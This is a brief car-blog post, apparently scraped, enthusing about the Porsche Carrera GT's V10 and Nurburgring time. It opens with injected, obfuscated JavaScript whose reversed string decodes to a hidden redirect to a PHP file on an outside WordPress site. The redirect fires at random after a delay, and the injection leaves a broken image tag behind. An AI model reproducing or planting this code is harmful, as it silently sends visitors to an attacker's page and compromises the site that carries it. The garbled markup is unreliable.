$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/07/tumblr_m6jxzhILid1qdjdqdo1_1280-728×485.jpg” alt=”” width=”728″ height=”485″ />
A rear-mid-mounted 5.7l V10? 604hp? 0-100kph in 3.6s? Can push 202kph? And can lap the Nurburgring in 7m 28s?
Yep, if crankandpiston had $900,000 give or take, we’d want two Carrera GTs too.
Source – This Will Do
